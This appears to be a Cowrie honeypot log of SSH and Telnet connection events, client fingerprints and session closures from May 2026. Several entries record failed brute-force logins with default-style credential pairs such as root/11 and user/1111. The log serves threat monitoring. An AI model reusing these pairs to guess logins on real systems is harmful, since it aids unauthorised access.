{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57642,"dst_ip":"10.17.0.5","dst_port":22,"session":"b451b2561445","protocol":"ssh","message":"New connection: 176.65.132.254:57642 (10.17.0.5:22) [session: b451b2561445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:20.796652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:20.801139Z","src_ip":"176.65.132.254","session":"b451b2561445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:20.887397Z","src_ip":"176.65.132.254","session":"b451b2561445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:21.139655Z","src_ip":"176.65.132.254","session":"b451b2561445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35798,"dst_ip":"10.17.0.5","dst_port":23,"session":"04afeef39b2f","protocol":"telnet","message":"New connection: 62.210.97.77:35798 (10.17.0.5:23) [session: 04afeef39b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:21.939987Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:22.247022Z","src_ip":"176.65.132.254","session":"b451b2561445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35802,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9c75c62093","protocol":"telnet","message":"New connection: 62.210.97.77:35802 (10.17.0.5:23) [session: 6b9c75c62093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:22.784931Z"}
{"eventid":"cowrie.session.closed","duration":36.81113624572754,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:23.826632Z","src_ip":"62.210.97.77","session":"da42dd7b9f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53620481491089,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:23.947970Z","src_ip":"62.210.97.77","session":"f2c908010db2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35844,"dst_ip":"10.17.0.5","dst_port":22,"session":"5208878ee7af","protocol":"ssh","message":"New connection: 176.65.132.254:35844 (10.17.0.5:22) [session: 5208878ee7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:24.682118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:24.689104Z","src_ip":"176.65.132.254","session":"5208878ee7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.124613046646118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:24.751481Z","src_ip":"62.210.97.77","session":"bafc1112757a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:24.773312Z","src_ip":"176.65.132.254","session":"5208878ee7af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:25.039997Z","src_ip":"176.65.132.254","session":"5208878ee7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.58713245391846,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:25.255402Z","src_ip":"65.60.27.33","session":"345c3ecddefc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:26.137918Z","src_ip":"176.65.132.254","session":"5208878ee7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35810,"dst_ip":"10.17.0.5","dst_port":23,"session":"e161740239aa","protocol":"telnet","message":"New connection: 62.210.97.77:35810 (10.17.0.5:23) [session: e161740239aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:26.560884Z"}
{"eventid":"cowrie.session.closed","duration":33.82808065414429,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:26.680898Z","src_ip":"62.210.97.77","session":"40ccbca50b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47834,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e41236afa18","protocol":"telnet","message":"New connection: 65.60.27.33:47834 (10.17.0.5:23) [session: 5e41236afa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:26.758624Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e25aa56207","protocol":"telnet","message":"New connection: 62.210.97.77:35816 (10.17.0.5:23) [session: f6e25aa56207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:26.837800Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":47850,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea97b8308700","protocol":"ssh","message":"New connection: 156.232.13.218:47850 (10.17.0.5:22) [session: ea97b8308700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:27.291061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:27.294918Z","src_ip":"156.232.13.218","session":"ea97b8308700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:27.372810Z","src_ip":"156.232.13.218","session":"ea97b8308700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.88826107978821,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:27.679494Z","src_ip":"62.210.97.77","session":"a2b31fe987e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"test","message":"login attempt [vbox/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:27.692752Z","src_ip":"156.232.13.218","session":"ea97b8308700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44b87e2db98","protocol":"ssh","message":"New connection: 176.65.132.254:35850 (10.17.0.5:22) [session: d44b87e2db98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.573879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.578241Z","src_ip":"176.65.132.254","session":"d44b87e2db98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.660217Z","src_ip":"176.65.132.254","session":"d44b87e2db98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.766583Z","src_ip":"156.232.13.218","session":"ea97b8308700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.918787Z","src_ip":"176.65.132.254","session":"d44b87e2db98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36308,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6176994b3d","protocol":"telnet","message":"New connection: 38.54.119.93:36308 (10.17.0.5:23) [session: ac6176994b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:28.998793Z"}
{"eventid":"cowrie.session.closed","duration":36.528608560562134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:29.016903Z","src_ip":"62.210.97.77","session":"27a2446e0d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54180,"dst_ip":"10.17.0.5","dst_port":23,"session":"40767233456a","protocol":"telnet","message":"New connection: 62.210.97.77:54180 (10.17.0.5:23) [session: 40767233456a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:29.460613Z"}
{"eventid":"cowrie.session.closed","duration":50.945475816726685,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:29.769908Z","src_ip":"165.232.131.181","session":"45a62c608f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:30.003541Z","src_ip":"176.65.132.254","session":"d44b87e2db98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.55710983276367,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:30.300469Z","src_ip":"62.210.97.77","session":"550764b72e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":34070,"dst_ip":"159.203.135.109","dst_port":23,"session":"848d9d74c02b","protocol":"telnet","message":"New connection: 94.156.33.203:34070 (159.203.135.109:23) [session: 848d9d74c02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:30.995894Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59154,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd84920b8a57","protocol":"ssh","message":"New connection: 176.65.132.254:59154 (10.17.0.5:22) [session: dd84920b8a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:32.366496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:32.371123Z","src_ip":"176.65.132.254","session":"dd84920b8a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:32.454003Z","src_ip":"176.65.132.254","session":"dd84920b8a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:32.752233Z","src_ip":"176.65.132.254","session":"dd84920b8a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54188,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fdb6470b975","protocol":"telnet","message":"New connection: 62.210.97.77:54188 (10.17.0.5:23) [session: 6fdb6470b975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:33.418827Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54190,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b0f5f8cf3a","protocol":"telnet","message":"New connection: 62.210.97.77:54190 (10.17.0.5:23) [session: 39b0f5f8cf3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:33.547280Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:33.843223Z","src_ip":"176.65.132.254","session":"dd84920b8a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc7e4dfdae6","protocol":"telnet","message":"New connection: 165.232.131.181:40412 (10.17.0.5:23) [session: abc7e4dfdae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:33.946706Z"}
{"eventid":"cowrie.session.closed","duration":0.6805896759033203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:34.627168Z","src_ip":"165.232.131.181","session":"abc7e4dfdae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e55dcbeccb","protocol":"telnet","message":"New connection: 62.210.97.77:54198 (10.17.0.5:23) [session: b1e55dcbeccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:35.385614Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59178,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d5606055a1","protocol":"ssh","message":"New connection: 176.65.132.254:59178 (10.17.0.5:22) [session: 22d5606055a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:36.294890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:36.299390Z","src_ip":"176.65.132.254","session":"22d5606055a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:36.382046Z","src_ip":"176.65.132.254","session":"22d5606055a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:36.641494Z","src_ip":"176.65.132.254","session":"22d5606055a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:38.043842Z","src_ip":"176.65.132.254","session":"22d5606055a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.46926236152649,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:38.684021Z","src_ip":"65.60.27.33","session":"e5924f8901bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"87bff73a606c","protocol":"telnet","message":"New connection: 134.209.8.29:41568 (159.203.135.109:23) [session: 87bff73a606c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:27:39.722588Z"}
